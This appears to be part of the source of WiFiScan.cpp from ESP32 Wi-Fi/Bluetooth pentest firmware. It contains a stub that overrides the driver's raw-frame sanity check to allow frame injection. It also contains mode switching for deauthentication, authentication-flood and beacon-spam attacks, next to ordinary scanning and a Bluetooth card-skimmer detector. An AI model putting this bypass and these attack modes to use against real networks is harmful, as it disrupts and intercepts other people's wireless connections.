WiFiScan.cpp 115 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. LinkedList<Station>* stations;
  10. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  11. if (arg == 31337)
  12. return 1;
  13. else
  14. return 0;
  15. }
  16. #ifdef HAS_BT
  17. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  18. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  19. #ifdef HAS_SCREEN
  20. int buf = display_obj.display_buffer->size();
  21. #else
  22. int buf = 0;
  23. #endif
  24. String display_string = "";
  25. if (buf >= 0)
  26. {
  27. display_string.concat(text_table4[0]);
  28. display_string.concat(advertisedDevice->getRSSI());
  29. Serial.print(" RSSI: ");
  30. Serial.print(advertisedDevice->getRSSI());
  31. display_string.concat(" ");
  32. Serial.print(" ");
  33. Serial.print("Device: ");
  34. if(advertisedDevice->getName().length() != 0)
  35. {
  36. display_string.concat(advertisedDevice->getName().c_str());
  37. Serial.print(advertisedDevice->getName().c_str());
  38. }
  39. else
  40. {
  41. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  42. Serial.print(advertisedDevice->getAddress().toString().c_str());
  43. }
  44. #ifdef HAS_SCREEN
  45. uint8_t temp_len = display_string.length();
  46. for (uint8_t i = 0; i < 40 - temp_len; i++)
  47. {
  48. display_string.concat(" ");
  49. }
  50. Serial.println();
  51. while (display_obj.printing)
  52. delay(1);
  53. display_obj.loading = true;
  54. display_obj.display_buffer->add(display_string);
  55. display_obj.loading = false;
  56. #endif
  57. }
  58. }
  59. };
  60. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  61. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  62. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  63. #ifdef HAS_SCREEN
  64. int buf = display_obj.display_buffer->size();
  65. #else
  66. int buf = 0;
  67. #endif
  68. if (buf >= 0)
  69. {
  70. Serial.print("Device: ");
  71. String display_string = "";
  72. if(advertisedDevice->getName().length() != 0)
  73. {
  74. Serial.print(advertisedDevice->getName().c_str());
  75. for(uint8_t i = 0; i < bad_list_length; i++)
  76. {
  77. #ifdef HAS_SCREEN
  78. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  79. {
  80. display_string.concat(text_table4[1]);
  81. display_string.concat(" ");
  82. display_string.concat(advertisedDevice->getName().c_str());
  83. uint8_t temp_len = display_string.length();
  84. for (uint8_t i = 0; i < 40 - temp_len; i++)
  85. {
  86. display_string.concat(" ");
  87. }
  88. while (display_obj.printing)
  89. delay(1);
  90. display_obj.loading = true;
  91. display_obj.display_buffer->add(display_string);
  92. display_obj.loading = false;
  93. }
  94. #endif
  95. }
  96. }
  97. else
  98. {
  99. Serial.print(advertisedDevice->getAddress().toString().c_str());
  100. }
  101. Serial.print(" RSSI: ");
  102. Serial.println(advertisedDevice->getRSSI());
  103. }
  104. }
  105. };
  106. #endif
  107. WiFiScan::WiFiScan()
  108. {
  109. }
  110. void WiFiScan::RunSetup() {
  111. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  112. this->wsl_bypass_enabled = true;
  113. else
  114. this->wsl_bypass_enabled = false;
  115. ssids = new LinkedList<ssid>();
  116. access_points = new LinkedList<AccessPoint>();
  117. stations = new LinkedList<Station>();
  118. #ifdef HAS_BT
  119. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  120. NimBLEDevice::setScanDuplicateCacheSize(200);
  121. NimBLEDevice::init("");
  122. pBLEScan = NimBLEDevice::getScan(); //create new scan
  123. this->ble_initialized = true;
  124. this->shutdownBLE();
  125. #endif
  126. this->initWiFi(1);
  127. }
  128. int WiFiScan::clearStations() {
  129. int num_cleared = stations->size();
  130. stations->clear();
  131. Serial.println("stations: " + (String)stations->size());
  132. // Now clear stations list from APs
  133. for (int i = 0; i < access_points->size(); i++)
  134. access_points->get(i).stations->clear();
  135. return num_cleared;
  136. }
  137. int WiFiScan::clearAPs() {
  138. int num_cleared = access_points->size();
  139. access_points->clear();
  140. Serial.println("access_points: " + (String)access_points->size());
  141. return num_cleared;
  142. }
  143. int WiFiScan::clearSSIDs() {
  144. int num_cleared = ssids->size();
  145. ssids->clear();
  146. Serial.println("ssids: " + (String)ssids->size());
  147. return num_cleared;
  148. }
  149. bool WiFiScan::addSSID(String essid) {
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. return true;
  154. }
  155. int WiFiScan::generateSSIDs(int count) {
  156. uint8_t num_gen = count;
  157. for (uint8_t x = 0; x < num_gen; x++) {
  158. String essid = "";
  159. for (uint8_t i = 0; i < 6; i++)
  160. essid.concat(alfa[random(65)]);
  161. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  162. ssids->add(s);
  163. Serial.println(ssids->get(ssids->size() - 1).essid);
  164. }
  165. return num_gen;
  166. }
  167. #ifdef HAS_SCREEN
  168. void WiFiScan::joinWiFi(String ssid, String password)
  169. {
  170. static const char * btns[] ={text16, ""};
  171. int count = 0;
  172. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  173. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  174. lv_msgbox_set_text(mbox1, text_table4[2]);
  175. lv_msgbox_add_btns(mbox1, btns);
  176. lv_obj_set_width(mbox1, 200);
  177. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  178. this->wifi_initialized = true;
  179. return;
  180. }
  181. else if (WiFi.status() == WL_CONNECTED) {
  182. Serial.println("Already connected. Disconnecting...");
  183. WiFi.disconnect();
  184. }
  185. esp_wifi_init(&cfg);
  186. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  187. esp_wifi_set_mode(WIFI_MODE_NULL);
  188. esp_wifi_start();
  189. WiFi.begin(ssid.c_str(), password.c_str());
  190. Serial.print("Connecting to WiFi");
  191. while (WiFi.status() != WL_CONNECTED) {
  192. delay(500);
  193. Serial.print(".");
  194. count++;
  195. if (count == 10)
  196. {
  197. Serial.println("\nCould not connect to WiFi network");
  198. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  199. lv_msgbox_set_text(mbox1, text_table4[3]);
  200. lv_msgbox_add_btns(mbox1, btns);
  201. lv_obj_set_width(mbox1, 200);
  202. //lv_obj_set_event_cb(mbox1, event_handler);
  203. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  204. WiFi.mode(WIFI_OFF);
  205. return;
  206. }
  207. }
  208. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  209. lv_msgbox_set_text(mbox1, text_table4[4]);
  210. lv_msgbox_add_btns(mbox1, btns);
  211. lv_obj_set_width(mbox1, 200);
  212. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  213. connected_network = ssid;
  214. Serial.println("\nConnected to the WiFi network");
  215. Serial.print("IP address: ");
  216. Serial.println(WiFi.localIP());
  217. this->wifi_initialized = true;
  218. }
  219. #endif
  220. // Apply WiFi settings
  221. void WiFiScan::initWiFi(uint8_t scan_mode) {
  222. // Set the channel
  223. if (scan_mode != WIFI_SCAN_OFF) {
  224. //Serial.println(F("Initializing WiFi settings..."));
  225. this->changeChannel();
  226. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  227. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  228. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  229. //Serial.println(F("Initialization complete"));
  230. }
  231. }
  232. bool WiFiScan::scanning() {
  233. if (this->currentScanMode == WIFI_SCAN_OFF)
  234. return false;
  235. else
  236. return true;
  237. }
  238. // Function to prepare to run a specific scan
  239. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  240. {
  241. this->initWiFi(scan_mode);
  242. if (scan_mode == WIFI_SCAN_OFF)
  243. StopScan(scan_mode);
  244. else if (scan_mode == WIFI_SCAN_PROBE)
  245. RunProbeScan(scan_mode, color);
  246. else if (scan_mode == WIFI_SCAN_EAPOL)
  247. RunEapolScan(scan_mode, color);
  248. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  249. RunEapolScan(scan_mode, color);
  250. else if (scan_mode == WIFI_SCAN_AP)
  251. RunBeaconScan(scan_mode, color);
  252. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  253. RunRawScan(scan_mode, color);
  254. else if (scan_mode == WIFI_SCAN_STATION)
  255. RunStationScan(scan_mode, color);
  256. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  257. RunAPScan(scan_mode, color);
  258. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  259. RunAPScan(scan_mode, color);
  260. else if (scan_mode == WIFI_SCAN_PWN)
  261. RunPwnScan(scan_mode, color);
  262. else if (scan_mode == WIFI_SCAN_DEAUTH)
  263. RunDeauthScan(scan_mode, color);
  264. else if (scan_mode == WIFI_PACKET_MONITOR) {
  265. #ifdef HAS_SCREEN
  266. RunPacketMonitor(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  270. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  271. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  272. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  273. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  274. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  275. else if (scan_mode == WIFI_ATTACK_AUTH)
  276. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  277. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  278. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  279. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  280. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  281. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  282. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  283. else if (scan_mode == BT_SCAN_ALL) {
  284. #ifdef HAS_BT
  285. RunBluetoothScan(scan_mode, color);
  286. #endif
  287. }
  288. else if (scan_mode == BT_SCAN_SKIMMERS) {
  289. #ifdef HAS_BT
  290. RunBluetoothScan(scan_mode, color);
  291. #endif
  292. }
  293. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  294. RunEspressifScan(scan_mode, color);
  295. else if (scan_mode == LV_JOIN_WIFI) {
  296. #ifdef HAS_SCREEN
  297. RunLvJoinWiFi(scan_mode, color);
  298. #endif
  299. }
  300. else if (scan_mode == LV_ADD_SSID) {
  301. #ifdef HAS_SCREEN
  302. RunLvJoinWiFi(scan_mode, color);
  303. #endif
  304. }
  305. WiFiScan::currentScanMode = scan_mode;
  306. }
  307. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  308. // Common wifi attack configurations
  309. #ifdef HAS_SCREEN
  310. display_obj.TOP_FIXED_AREA_2 = 48;
  311. display_obj.tteBar = true;
  312. display_obj.print_delay_1 = 15;
  313. display_obj.print_delay_2 = 10;
  314. display_obj.initScrollValues(true);
  315. display_obj.tft.setTextWrap(false);
  316. display_obj.tft.setTextColor(TFT_BLACK, color);
  317. display_obj.tft.fillRect(0,16,240,16, color);
  318. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  319. display_obj.touchToExit();
  320. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  321. #endif
  322. packets_sent = 0;
  323. esp_wifi_init(&cfg);
  324. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  325. esp_wifi_set_mode(WIFI_AP_STA);
  326. esp_wifi_start();
  327. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  328. //WiFi.mode(WIFI_AP_STA);
  329. //esp_wifi_init(&cfg);
  330. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  331. //esp_wifi_set_mode(WIFI_AP_STA);
  332. //esp_wifi_start();
  333. //esp_wifi_set_promiscuous_filter(NULL);
  334. esp_wifi_set_promiscuous(true);
  335. esp_wifi_set_max_tx_power(82);
  336. this->wifi_initialized = true;
  337. #ifdef MARAUDER_FLIPPER
  338. flipper_led.attackLED();
  339. #else
  340. led_obj.setMode(MODE_ATTACK);
  341. #endif
  342. initTime = millis();
  343. }
  344. bool WiFiScan::shutdownWiFi() {
  345. if (this->wifi_initialized) {
  346. esp_wifi_set_promiscuous(false);
  347. WiFi.disconnect();
  348. WiFi.mode(WIFI_OFF);
  349. dst_mac = "ff:ff:ff:ff:ff:ff";
  350. esp_wifi_set_mode(WIFI_MODE_NULL);
  351. esp_wifi_stop();
  352. esp_wifi_deinit();
  353. #ifdef MARAUDER_FLIPPER
  354. flipper_led.offLED();
  355. #else
  356. led_obj.setMode(MODE_OFF);
  357. #endif
  358. this->wifi_initialized = false;
  359. return true;
  360. }
  361. else {
  362. return false;
  363. }
  364. }
  365. bool WiFiScan::shutdownBLE() {
  366. #ifdef HAS_BT
  367. if (this->ble_initialized) {
  368. pBLEScan->stop();
  369. pBLEScan->clearResults();
  370. BLEDevice::deinit();
  371. #ifdef MARAUDER_FLIPPER
  372. flipper_led.offLED();
  373. #else
  374. led_obj.setMode(MODE_OFF);
  375. #endif
  376. this->ble_initialized = false;
  377. return true;
  378. }
  379. else {
  380. return false;
  381. }
  382. #endif
  383. return true;
  384. }
  385. // Function to stop all wifi scans
  386. void WiFiScan::StopScan(uint8_t scan_mode)
  387. {
  388. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  389. (currentScanMode == WIFI_SCAN_AP) ||
  390. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  391. (currentScanMode == WIFI_SCAN_STATION) ||
  392. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  393. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  394. (currentScanMode == WIFI_SCAN_PWN) ||
  395. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  396. (currentScanMode == WIFI_SCAN_EAPOL) ||
  397. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  398. (currentScanMode == WIFI_SCAN_ALL) ||
  399. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  400. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  401. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  402. (currentScanMode == WIFI_ATTACK_AUTH) ||
  403. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  404. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  405. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  406. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  407. (currentScanMode == WIFI_PACKET_MONITOR) ||
  408. (currentScanMode == LV_JOIN_WIFI))
  409. {
  410. this->shutdownWiFi();
  411. }
  412. else if ((currentScanMode == BT_SCAN_ALL) ||
  413. (currentScanMode == BT_SCAN_SKIMMERS))
  414. {
  415. #ifdef HAS_BT
  416. this->shutdownBLE();
  417. #endif
  418. }
  419. #ifdef HAS_SCREEN
  420. display_obj.display_buffer->clear();
  421. #ifdef SCREEN_BUFFER
  422. display_obj.screen_buffer->clear();
  423. #endif
  424. //Serial.print("display_buffer->size(): ");
  425. Serial.println(display_obj.display_buffer->size());
  426. display_obj.tteBar = false;
  427. #endif
  428. }
  429. String WiFiScan::getStaMAC()
  430. {
  431. char *buf;
  432. uint8_t mac[6];
  433. char macAddrChr[18] = {0};
  434. esp_wifi_init(&cfg);
  435. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  436. esp_wifi_set_mode(WIFI_MODE_NULL);
  437. esp_wifi_start();
  438. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  439. this->wifi_initialized = true;
  440. sprintf(macAddrChr,
  441. "%02X:%02X:%02X:%02X:%02X:%02X",
  442. mac[0],
  443. mac[1],
  444. mac[2],
  445. mac[3],
  446. mac[4],
  447. mac[5]);
  448. this->shutdownWiFi();
  449. return String(macAddrChr);
  450. }
  451. String WiFiScan::getApMAC()
  452. {
  453. char *buf;
  454. uint8_t mac[6];
  455. char macAddrChr[18] = {0};
  456. esp_wifi_init(&cfg);
  457. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  458. esp_wifi_set_mode(WIFI_MODE_NULL);
  459. esp_wifi_start();
  460. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  461. this->wifi_initialized = true;
  462. sprintf(macAddrChr,
  463. "%02X:%02X:%02X:%02X:%02X:%02X",
  464. mac[0],
  465. mac[1],
  466. mac[2],
  467. mac[3],
  468. mac[4],
  469. mac[5]);
  470. this->shutdownWiFi();
  471. return String(macAddrChr);
  472. }
  473. String WiFiScan::freeRAM()
  474. {
  475. char s[150];
  476. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  477. this->free_ram = String(esp_get_free_heap_size());
  478. return String(s);
  479. }
  480. // Function to start running a beacon scan
  481. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  482. {
  483. sd_obj.openCapture("ap");
  484. #ifdef MARAUDER_FLIPPER
  485. flipper_led.sniffLED();
  486. #else
  487. led_obj.setMode(MODE_SNIFF);
  488. #endif
  489. Serial.println(text_table4[9] + (String)access_points->size());
  490. #ifdef HAS_SCREEN
  491. display_obj.TOP_FIXED_AREA_2 = 48;
  492. display_obj.tteBar = true;
  493. display_obj.print_delay_1 = 15;
  494. display_obj.print_delay_2 = 10;
  495. display_obj.initScrollValues(true);
  496. display_obj.tft.setTextWrap(false);
  497. display_obj.tft.setTextColor(TFT_WHITE, color);
  498. #ifndef MARAUDER_MINI
  499. display_obj.tft.fillRect(0,16,240,16, color);
  500. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  501. display_obj.touchToExit();
  502. #endif
  503. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  504. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  505. #endif
  506. esp_wifi_init(&cfg);
  507. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  508. esp_wifi_set_mode(WIFI_MODE_NULL);
  509. esp_wifi_start();
  510. esp_wifi_set_promiscuous(true);
  511. esp_wifi_set_promiscuous_filter(&filt);
  512. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  513. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  514. //else
  515. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  516. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  517. this->wifi_initialized = true;
  518. initTime = millis();
  519. }
  520. #ifdef HAS_SCREEN
  521. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  522. display_obj.tft.init();
  523. display_obj.tft.setRotation(1);
  524. #ifdef TFT_SHIELD
  525. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  526. Serial.println("Using TFT Shield");
  527. #else if defined(TFT_DIY)
  528. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  529. Serial.println("Using TFT DIY");
  530. #endif
  531. display_obj.tft.setTouch(calData);
  532. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  533. lv_disp_load_scr(scr);
  534. }
  535. #endif
  536. void WiFiScan::RunClearStations() {
  537. #ifdef HAS_SCREEN
  538. display_obj.tft.setTextWrap(false);
  539. display_obj.tft.setFreeFont(NULL);
  540. display_obj.tft.setCursor(0, 100);
  541. display_obj.tft.setTextSize(1);
  542. display_obj.tft.setTextColor(TFT_CYAN);
  543. display_obj.tft.println(F(text_table4[45]));
  544. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  545. #else
  546. this->clearStations();
  547. #endif
  548. }
  549. void WiFiScan::RunClearAPs() {
  550. #ifdef HAS_SCREEN
  551. display_obj.tft.setTextWrap(false);
  552. display_obj.tft.setFreeFont(NULL);
  553. display_obj.tft.setCursor(0, 100);
  554. display_obj.tft.setTextSize(1);
  555. display_obj.tft.setTextColor(TFT_CYAN);
  556. display_obj.tft.println(F(text_table4[9]));
  557. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  558. display_obj.tft.println(F(text_table4[45]));
  559. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  560. #else
  561. this->clearAPs();
  562. this->clearStations();
  563. #endif
  564. }
